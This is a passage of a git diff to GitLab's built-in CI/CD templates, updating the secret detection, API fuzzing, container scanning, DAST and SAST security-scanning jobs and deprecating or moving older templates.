+ - if: $SECRET_DETECTION_DISABLED
+ when: never
+ - if: $CI_COMMIT_BRANCH
+ script:
+ - if [[ $CI_COMMIT_TAG ]]; then echo "Skipping Secret Detection for tags. No code changes have occurred."; exit 0; fi
+ - if [[ $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ]]; then echo "Running Secret Detection on default branch."; /analyzer run; exit 0; fi
+ - git fetch origin $CI_DEFAULT_BRANCH $CI_COMMIT_REF_NAME
+ - git log --left-right --cherry-pick --pretty=format:"%H" refs/remotes/origin/$CI_DEFAULT_BRANCH...refs/remotes/origin/$CI_COMMIT_REF_NAME > "$CI_COMMIT_SHA"_commit_list.txt
+ - export SECRET_DETECTION_COMMITS_FILE="$CI_COMMIT_SHA"_commit_list.txt
+ - /analyzer run
+ - rm "$CI_COMMIT_SHA"_commit_list.txt
diff --git a/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml b/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
index 6f30fc2dcd5..ca63e942130 100644
--- a/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml
@@ -1,6 +1,21 @@
+################################################################################
+# WARNING
+################################################################################
+#
+# This template is DEPRECATED and scheduled for removal in GitLab 15.0
+# See https://gitlab.com/gitlab-org/gitlab/-/issues/333610 for more context.
+#
+# To get started with a Cluster Management Project, we instead recommend
+# using the updated project template:
+#
+# - Documentation: https://docs.gitlab.com/ee/user/clusters/management_project_template.html
+# - Source code: https://gitlab.com/gitlab-org/project-templates/cluster-management/
+#
+################################################################################
+
apply:
stage: deploy
- image: "registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v0.40.0"
+ image: "registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v0.43.1"
environment:
name: production
variables:
@@ -9,11 +24,9 @@ apply:
script:
- gitlab-managed-apps /usr/local/share/gitlab-managed-apps/helmfile.yaml
only:
- refs:
- - master
+ variables:
+ - $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
artifacts:
- reports:
- cluster_applications: gl-cluster-applications.json
when: on_failure
paths:
- tiller.log
diff --git a/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml b/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
index 275364afae4..1bdaaeede43 100644
--- a/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
@@ -1,6 +1,6 @@
# Official language image. Look for the different tagged releases at:
# https://hub.docker.com/r/library/ruby/tags/
-image: "ruby:2.5"
+image: ruby:latest
# Pick zero or more services to be used on all builds.
# Only needed when using a docker container to run your tests in.
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
index 90fad1550ff..0c4c39cbcd6 100644
--- a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
@@ -1,279 +1,33 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/
-# Configure the scanning tool through the environment variables.
-# List of the variables: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#available-variables
-# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
-
-stages:
- - build
- - test
- - deploy
- - fuzz
+# Configure API fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#available-cicd-variables
variables:
+ FUZZAPI_VERSION: "1"
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
- FUZZAPI_PROFILE: Quick
- FUZZAPI_VERSION: "1.6"
- FUZZAPI_CONFIG: .gitlab-api-fuzzing.yml
- FUZZAPI_TIMEOUT: 30
- FUZZAPI_REPORT: gl-api-fuzzing-report.json
- FUZZAPI_REPORT_ASSET_PATH: assets
- #
- FUZZAPI_D_NETWORK: testing-net
- #
- # Wait up to 5 minutes for API Fuzzer and target url to become
- # available (non 500 response to HTTP(s))
- FUZZAPI_SERVICE_START_TIMEOUT: "300"
- #
FUZZAPI_IMAGE: ${SECURE_ANALYZERS_PREFIX}/api-fuzzing:${FUZZAPI_VERSION}
- #
-
-apifuzzer_fuzz_unlicensed:
- stage: fuzz
- allow_failure: true
- rules:
- - if: '$GITLAB_FEATURES !~ /\bapi_fuzzing\b/ && $API_FUZZING_DISABLED == null'
- - when: never
- script:
- - |
- echo "Error: Your GitLab project is not licensed for API Fuzzing."
- - exit 1
apifuzzer_fuzz:
stage: fuzz
- image:
- name: $FUZZAPI_IMAGE
- entrypoint: ["/bin/bash", "-l", "-c"]
- variables:
- FUZZAPI_PROJECT: $CI_PROJECT_PATH
- FUZZAPI_API: http://localhost:5000
- FUZZAPI_NEW_REPORT: 1
- FUZZAPI_LOG_SCANNER: gl-apifuzzing-api-scanner.log
- TZ: America/Los_Angeles
+ image: $FUZZAPI_IMAGE
allow_failure: true
rules:
- - if: $FUZZAPI_D_TARGET_IMAGE
- when: never
- - if: $FUZZAPI_D_WORKER_IMAGE
- when: never
- - if: $API_FUZZING_DISABLED
- when: never
- - if: $API_FUZZING_DISABLED_FOR_DEFAULT_BRANCH &&
- $CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
- when: never
- - if: $CI_COMMIT_BRANCH && $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
- script:
- #
- # Validate options
- - |
- if [ "$FUZZAPI_HAR$FUZZAPI_OPENAPI$FUZZAPI_POSTMAN_COLLECTION" == "" ]; then \
- echo "Error: One of FUZZAPI_HAR, FUZZAPI_OPENAPI, or FUZZAPI_POSTMAN_COLLECTION must be provided."; \
- echo "See https://docs.gitlab.com/ee/user/application_security/api_fuzzing/ for information on how to configure API Fuzzing."; \
- exit 1; \
- fi
- #
- # Run user provided pre-script
- - sh -c "$FUZZAPI_PRE_SCRIPT"
- #
- # Make sure asset path exists
- - mkdir -p $FUZZAPI_REPORT_ASSET_PATH
- #
- # Start API Security background process
- - dotnet /peach/Peach.Web.dll &> $FUZZAPI_LOG_SCANNER &
- - APISEC_PID=$!
- #
- # Start scanning
- - worker-entry
- #
- # Run user provided post-script
- - sh -c "$FUZZAPI_POST_SCRIPT"
- #
- # Shutdown API Security
- - kill $APISEC_PID
- - wait $APISEC_PID
- #
- artifacts:
- when: always
- paths:
- - $FUZZAPI_REPORT_ASSET_PATH
- - $FUZZAPI_REPORT
- - $FUZZAPI_LOG_SCANNER
- reports:
- api_fuzzing: $FUZZAPI_REPORT
-
-apifuzzer_fuzz_dnd:
- stage: fuzz
- image: docker:19.03.12
- variables:
- DOCKER_DRIVER: overlay2
- DOCKER_TLS_CERTDIR: ""
- FUZZAPI_PROJECT: $CI_PROJECT_PATH
- FUZZAPI_API: http://apifuzzer:5000
- allow_failure: true
- rules:
- - if: $FUZZAPI_D_TARGET_IMAGE == null && $FUZZAPI_D_WORKER_IMAGE == null
- when: never
- if: $API_FUZZING_DISABLED
when: never
- if: $API_FUZZING_DISABLED_FOR_DEFAULT_BRANCH &&
$CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
when: never
- - if: $CI_COMMIT_BRANCH && $GITLAB_FEATURES =~ /\bapi_fuzzing\b/
- services:
- - docker:19.03.12-dind
+ - if: $CI_COMMIT_BRANCH
script:
- #
- #
- - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY
- #
- - docker network create --driver bridge $FUZZAPI_D_NETWORK
- #
- # Run user provided pre-script
- - sh -c "$FUZZAPI_PRE_SCRIPT"
- #
- # Make sure asset path exists
- - mkdir -p $FUZZAPI_REPORT_ASSET_PATH
- #
- # Start peach testing engine container
- - |
- docker run -d \
- --name apifuzzer \
- --network $FUZZAPI_D_NETWORK \
- -e Proxy:Port=8000 \
- -e TZ=America/Los_Angeles \
- -e GITLAB_FEATURES \
- -p 80:80 \
- -p 5000:5000 \
- -p 8000:8000 \
- -p 514:514 \
- --restart=no \
- $FUZZAPI_IMAGE \
- dotnet /peach/Peach.Web.dll
- #
- # Start target container
- - |
- if [ "$FUZZAPI_D_TARGET_IMAGE" != "" ]; then \
- docker run -d \
- --name target \
- --network $FUZZAPI_D_NETWORK \
- $FUZZAPI_D_TARGET_ENV \
- $FUZZAPI_D_TARGET_PORTS \
- $FUZZAPI_D_TARGET_VOLUME \
- --restart=no \
- $FUZZAPI_D_TARGET_IMAGE \
- ; fi
- #
- # Start worker container if provided
- - |
- if [ "$FUZZAPI_D_WORKER_IMAGE" != "" ]; then \
- echo "Starting worker image $FUZZAPI_D_WORKER_IMAGE"; \
- docker run \
- --name worker \
- --network $FUZZAPI_D_NETWORK \
- -e FUZZAPI_API=http://apifuzzer:5000 \
- -e FUZZAPI_PROJECT \
- -e FUZZAPI_PROFILE \
- -e FUZZAPI_CONFIG \
- -e FUZZAPI_REPORT \
- -e FUZZAPI_REPORT_ASSET_PATH \
- -e FUZZAPI_NEW_REPORT=1 \
- -e FUZZAPI_HAR \
- -e FUZZAPI_OPENAPI \
- -e FUZZAPI_POSTMAN_COLLECTION \
- -e FUZZAPI_POSTMAN_COLLECTION_VARIABLES \
- -e FUZZAPI_TARGET_URL \
- -e FUZZAPI_OVERRIDES_FILE \
- -e FUZZAPI_OVERRIDES_ENV \
- -e FUZZAPI_OVERRIDES_CMD \
- -e FUZZAPI_OVERRIDES_INTERVAL \
- -e FUZZAPI_TIMEOUT \
- -e FUZZAPI_VERBOSE \
- -e FUZZAPI_SERVICE_START_TIMEOUT \
- -e FUZZAPI_HTTP_USERNAME \
- -e FUZZAPI_HTTP_PASSWORD \
- -e CI_PROJECT_URL \
- -e CI_JOB_ID \
- -e CI_COMMIT_BRANCH=${CI_COMMIT_BRANCH} \
- $FUZZAPI_D_WORKER_ENV \
- $FUZZAPI_D_WORKER_PORTS \
- $FUZZAPI_D_WORKER_VOLUME \
- --restart=no \
- $FUZZAPI_D_WORKER_IMAGE \
- ; fi
- #
- # Start API Fuzzing provided worker if no other worker present
- - |
- if [ "$FUZZAPI_D_WORKER_IMAGE" == "" ]; then \
- if [ "$FUZZAPI_HAR$FUZZAPI_OPENAPI$FUZZAPI_POSTMAN_COLLECTION" == "" ]; then \
- echo "Error: One of FUZZAPI_HAR, FUZZAPI_OPENAPI, or FUZZAPI_POSTMAN_COLLECTION must be provided."; \
- echo "See https://docs.gitlab.com/ee/user/application_security/api_fuzzing/ for information on how to configure API Fuzzing."; \
- exit 1; \
- fi; \
- docker run \
- --name worker \
- --network $FUZZAPI_D_NETWORK \
- -e TZ=America/Los_Angeles \
- -e FUZZAPI_API=http://apifuzzer:5000 \
- -e FUZZAPI_PROJECT \
- -e FUZZAPI_PROFILE \
- -e FUZZAPI_CONFIG \
- -e FUZZAPI_REPORT \
- -e FUZZAPI_REPORT_ASSET_PATH \
- -e FUZZAPI_NEW_REPORT=1 \
- -e FUZZAPI_HAR \
- -e FUZZAPI_OPENAPI \
- -e FUZZAPI_POSTMAN_COLLECTION \
- -e FUZZAPI_POSTMAN_COLLECTION_VARIABLES \
- -e FUZZAPI_TARGET_URL \
- -e FUZZAPI_OVERRIDES_FILE \
- -e FUZZAPI_OVERRIDES_ENV \
- -e FUZZAPI_OVERRIDES_CMD \
- -e FUZZAPI_OVERRIDES_INTERVAL \
- -e FUZZAPI_TIMEOUT \
- -e FUZZAPI_VERBOSE \
- -e FUZZAPI_SERVICE_START_TIMEOUT \
- -e FUZZAPI_HTTP_USERNAME \
- -e FUZZAPI_HTTP_PASSWORD \
- -e CI_PROJECT_URL \
- -e CI_JOB_ID \
- -v $CI_PROJECT_DIR:/app \
- -v `pwd`/$FUZZAPI_REPORT_ASSET_PATH:/app/$FUZZAPI_REPORT_ASSET_PATH:rw \
- -p 81:80 \
- -p 5001:5000 \
- -p 8001:8000 \
- -p 515:514 \
- --restart=no \
- $FUZZAPI_IMAGE \
- worker-entry \
- ; fi
- #
- # Propagate exit code from api fuzzing scanner (if any)
- - if [[ $(docker inspect apifuzzer --format='{{.State.ExitCode}}') != "0" ]]; then echo "API Fuzzing scanner exited with an error. Logs are available as job artifacts."; exit 1; fi
- #
- # Run user provided post-script
- - sh -c "$FUZZAPI_POST_SCRIPT"
- #
- after_script:
- #
- # Shutdown all containers
- - echo "Stopping all containers"
- - if [ "$FUZZAPI_D_TARGET_IMAGE" != "" ]; then docker stop target; fi
- - docker stop worker
- - docker stop apifuzzer
- #
- # Save docker logs
- - docker logs apifuzzer &> gl-api_fuzzing-logs.log
- - if [ "$FUZZAPI_D_TARGET_IMAGE" != "" ]; then docker logs target &> gl-api_fuzzing-target-logs.log; fi
- - docker logs worker &> gl-api_fuzzing-worker-logs.log
- #
+ - /peach/analyzer-fuzz-api
artifacts:
when: always
paths:
- - ./gl-api_fuzzing*.log
- - ./gl-api_fuzzing*.zip
- - $FUZZAPI_REPORT_ASSET_PATH
- - $FUZZAPI_REPORT
+ - gl-assets
+ - gl-api-fuzzing-report.json
+ - gl-*.log
reports:
- api_fuzzing: $FUZZAPI_REPORT
+ api_fuzzing: gl-api-fuzzing-report.json
# end
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
index 8fa33026011..0c4c39cbcd6 100644
--- a/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
@@ -1,8 +1,7 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/
-# Configure the scanning tool through the environment variables.
-# List of the variables: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#available-variables
-# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+# Configure API fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#available-cicd-variables
variables:
FUZZAPI_VERSION: "1"
diff --git a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
index c628e30b2c7..bd163f9db94 100644
--- a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
@@ -1,60 +1,44 @@
-# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/container_scanning/
+# Use this template to enable container scanning in your project.
+# You should add this template to an existing `.gitlab-ci.yml` file by using the `include:`
+# keyword.
+# The template should work without modifications but you can customize the template settings if
+# needed: https://docs.gitlab.com/ee/user/application_security/container_scanning/#customizing-the-container-scanning-settings
+#
+# Requirements:
+# - A `test` stage to be present in the pipeline.
+# - You must define the image to be scanned in the DOCKER_IMAGE variable. If DOCKER_IMAGE is the
+# same as $CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG, you can skip this.
+# - Container registry credentials defined by `DOCKER_USER` and `DOCKER_PASSWORD` variables if the
+# image to be scanned is in a private registry.
+# - For auto-remediation, a readable Dockerfile in the root of the project or as defined by the
+# DOCKERFILE_PATH variable.
+#
+# Configure container scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/container_scanning/#available-variables
variables:
- # Setting this variable will affect all Security templates
- # (SAST, Dependency Scanning, ...)
- SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
- CS_MAJOR_VERSION: 3
+ CS_ANALYZER_IMAGE: registry.gitlab.com/security-products/container-scanning:4
-.cs_common:
- stage: test
+container_scanning:
image: "$CS_ANALYZER_IMAGE"
+ stage: test
variables:
- # Override the GIT_STRATEGY variable in your `.gitlab-ci.yml` file and set it to `fetch` if you want to provide a `clair-whitelist.yml`
- # file. See https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#overriding-the-container-scanning-template
- # for details
+ # To provide a `vulnerability-allowlist.yml` file, override the GIT_STRATEGY variable in your
+ # `.gitlab-ci.yml` file and set it to `fetch`.
+ # For details, see the following links:
+ # https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#overriding-the-container-scanning-template
+ # https://docs.gitlab.com/ee/user/application_security/container_scanning/#vulnerability-allowlisting
GIT_STRATEGY: none
- # CS_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- CS_ANALYZER_IMAGE: $SECURE_ANALYZERS_PREFIX/$CS_PROJECT:$CS_MAJOR_VERSION
allow_failure: true
artifacts:
reports:
container_scanning: gl-container-scanning-report.json
+ paths: [gl-container-scanning-report.json]
dependencies: []
-
-container_scanning:
- extends: .cs_common
- variables:
- # By default, use the latest clair vulnerabilities database, however, allow it to be overridden here with a specific image
- # to enable container scanning to run offline, or to provide a consistent list of vulnerabilities for integration testing purposes
- CLAIR_DB_IMAGE_TAG: "latest"
- CLAIR_DB_IMAGE: "$SECURE_ANALYZERS_PREFIX/clair-vulnerabilities-db:$CLAIR_DB_IMAGE_TAG"
- CS_PROJECT: 'klar'
- services:
- - name: $CLAIR_DB_IMAGE
- alias: clair-vulnerabilities-db
- script:
- - /analyzer run
- rules:
- - if: $CONTAINER_SCANNING_DISABLED
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $GITLAB_FEATURES =~ /\bcontainer_scanning\b/ &&
- $CS_MAJOR_VERSION =~ /^[0-3]$/
-
-container_scanning_new:
- extends: .cs_common
- variables:
- CS_PROJECT: 'container-scanning'
script:
- gtcs scan
- artifacts:
- paths: [gl-container-scanning-report.json]
rules:
- if: $CONTAINER_SCANNING_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
- $GITLAB_FEATURES =~ /\bcontainer_scanning\b/ &&
- $CS_MAJOR_VERSION !~ /^[0-3]$/
+ $GITLAB_FEATURES =~ /\bcontainer_scanning\b/
diff --git a/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
index 9d47537c0f0..2dbfb80b419 100644
--- a/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
@@ -1,5 +1,8 @@
# Read more about this feature https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing
+# Configure coverage fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#available-cicd-variables
+
variables:
# Which branch we want to run full fledged long running fuzzing jobs.
# All others will run fuzzing regression
diff --git a/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml
index b40c4e982f7..9170e943e9d 100644
--- a/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml
@@ -13,9 +13,8 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dast_api/index.html
-# Configure the scanning tool with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html)
-# List of variables available to configure the DAST API scanning tool:
-# https://docs.gitlab.com/ee/user/application_security/dast_api/index.html#available-cicd-variables
+# Configure DAST API scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/dast_api/index.html#available-cicd-variables
variables:
# Setting this variable affects all Security templates
diff --git a/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
index 7abecfb7e49..a2b112b8e9f 100644
--- a/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
@@ -1,8 +1,7 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dast/
-# Configure the scanning tool through the environment variables.
-# List of the variables: https://docs.gitlab.com/ee/user/application_security/dast/#available-variables
-# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+# Configure DAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/dast/#available-variables
stages:
- build
@@ -11,7 +10,7 @@ stages:
- dast
variables:
- DAST_VERSION: 1
+ DAST_VERSION: 2
# Setting this variable will affect all Security templates
# (SAST, Dependency Scanning, ...)
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
diff --git a/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
index b6282da18a4..6834766da3d 100644
--- a/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
@@ -13,12 +13,11 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dast/
-# Configure the scanning tool through the environment variables.
-# List of the variables: https://docs.gitlab.com/ee/user/application_security/dast/#available-variables
-# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+# Configure DAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/dast/#available-variables
variables:
- DAST_VERSION: 1
+ DAST_VERSION: 2
# Setting this variable will affect all Security templates
# (SAST, Dependency Scanning, ...)
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
@@ -47,10 +46,13 @@ dast:
$REVIEW_DISABLED && $DAST_WEBSITE == null &&
$DAST_API_SPECIFICATION == null
when: never
- - if: $CI_COMMIT_BRANCH &&
+ - if: $CI_MERGE_REQUEST_IID &&
$CI_KUBERNETES_ACTIVE &&
$GITLAB_FEATURES =~ /\bdast\b/
+ - if: $CI_MERGE_REQUEST_IID && ($DAST_WEBSITE || $DAST_API_SPECIFICATION)
+ - if: $CI_OPEN_MERGE_REQUESTS
+ when: never
- if: $CI_COMMIT_BRANCH &&
- $DAST_WEBSITE
- - if: $CI_COMMIT_BRANCH &&
- $DAST_API_SPECIFICATION
+ $CI_KUBERNETES_ACTIVE &&
+ $GITLAB_FEATURES =~ /\bdast\b/
+ - if: $CI_COMMIT_BRANCH && ($DAST_WEBSITE || $DAST_API_SPECIFICATION)
diff --git a/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
index 53d68c24d26..8df5ce79fe8 100644
--- a/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
@@ -1,8 +1,7 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/
#
-# Configure the scanning tool through the environment variables.
-# List of the variables: https://gitlab.com/gitlab-org/security-products/dependency-scanning#settings
-# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+# Configure dependency scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#available-variables
variables:
# Setting this variable will affect all Security templates
diff --git a/lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml
deleted file mode 100644
index 87f78d0c887..00000000000
--- a/lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-# Deprecated: https://gitlab.com/gitlab-org/gitlab/issues/14624
-# Please, use License-Scanning.gitlab-ci.yml template instead
-
-include:
- - template: License-Scanning.gitlab-ci.yml
-
-license_scanning:
- before_script:
- - |
- echo "As of GitLab 12.8, we deprecated the License-Management.gitlab.ci.yml template.
- Please replace it with the License-Scanning.gitlab-ci.yml template instead.
- For more details visit
- https://docs.gitlab.com/ee/user/compliance/license_compliance/#migration-from-license_management-to-license_scanning"
diff --git a/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
index 21e926ef275..870684c9f1d 100644
--- a/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
@@ -1,8 +1,7 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html
#
-# Configure the scanning tool through the environment variables.
-# List of the variables: https://gitlab.com/gitlab-org/security-products/analyzers/license-finder#settings
-# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+# Configure license scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/compliance/license_compliance/#available-variables
variables:
# Setting this variable will affect all Security templates
diff --git a/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
index a8d45e80356..77ce813dd4f 100644
--- a/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml
@@ -1,340 +1,5 @@
-# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/sast/
-#
-# Configure the scanning tool through the environment variables.
-# List of the variables: https://gitlab.com/gitlab-org/security-products/sast#settings
-# How to set: https://docs.gitlab.com/ee/ci/yaml/#variables
+# This template moved to Jobs/SAST.gitlab-ci.yml in GitLab 14.0
+# Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/292977
-variables:
- # Setting this variable will affect all Security templates
- # (SAST, Dependency Scanning, ...)
- SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
-
- SAST_DEFAULT_ANALYZERS: "bandit, brakeman, gosec, spotbugs, flawfinder, phpcs-security-audit, security-code-scan, nodejs-scan, eslint, sobelow, pmd-apex, kubesec, mobsf, semgrep"
- SAST_EXCLUDED_ANALYZERS: ""
- SAST_EXCLUDED_PATHS: "spec, test, tests, tmp"
- SAST_ANALYZER_IMAGE_TAG: 2
- SCAN_KUBERNETES_MANIFESTS: "false"
-
-sast:
- stage: test
- artifacts:
- reports:
- sast: gl-sast-report.json
- rules:
- - when: never
- variables:
- SEARCH_MAX_DEPTH: 4
- script:
- - echo "$CI_JOB_NAME is used for configuration only, and its script should not be executed"
- - exit 1
-
-.sast-analyzer:
- extends: sast
- allow_failure: true
- # `rules` must be overridden explicitly by each child job
- # see https://gitlab.com/gitlab-org/gitlab/-/issues/218444
- script:
- - /analyzer run
-
-bandit-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/bandit:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /bandit/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /bandit/
- exists:
- - '**/*.py'
-
-brakeman-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/brakeman:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /brakeman/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /brakeman/
- exists:
- - '**/*.rb'
- - '**/Gemfile'
-
-eslint-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/eslint:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /eslint/
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /eslint/
- exists:
- - '**/*.html'
- - '**/*.js'
- - '**/*.jsx'
- - '**/*.ts'
- - '**/*.tsx'
-
-flawfinder-sast:
- extends: .sast-analyzer
- image:
- name: "$SAST_ANALYZER_IMAGE"
- variables:
- # SAST_ANALYZER_IMAGE is an undocumented variable used internally to allow QA to
- # override the analyzer image with a custom value. This may be subject to change or
- # breakage across GitLab releases.
- SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/flawfinder:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED
- when: never
- - if: $SAST_EXCLUDED_ANALYZERS =~ /flawfinder/
- when: never
- - if: $CI_COMMIT_BRANCH &&
